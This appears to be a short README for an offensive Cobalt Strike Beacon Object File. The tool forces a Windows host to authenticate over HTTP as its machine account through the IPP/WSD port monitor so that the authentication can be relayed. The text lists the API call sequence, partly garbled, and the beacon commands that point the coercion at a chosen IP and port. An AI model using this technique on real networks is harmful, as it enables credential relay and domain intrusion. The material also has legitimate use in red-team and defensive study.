
Beacon Object File (BOF) to coerce machine account auth via IPP.
A Beacon Object File (BOF) that forces a Windows machine to authenticate over HTTP as its computer account (HOSTNAME$), by triggering a directed IPP association through the WSD port monitor. This technique allows operators to coerce and relay machine-account authentication over HTTP.
Tested on Windows 11 26H2.
The BOF was produced by tracing printui.exe during an IPP printer add, and reducing it to the observed set of API calls (using Claude Opus 5.5, Frida, and ETW). At a high-level, this BOF does the following:
OpenPrinterW(",XcvMonitor WSD Port"))AssocIppDirected with the supplied URI (XcvDataW)DeviceAssociationService via RPC and perform the outbound connectionLoad coerce-ipp.cna in Cobalt Strike.
beacon> coerce-ipp <ip> <port>
beacon> coerce-ipp 127.0.0.1 8082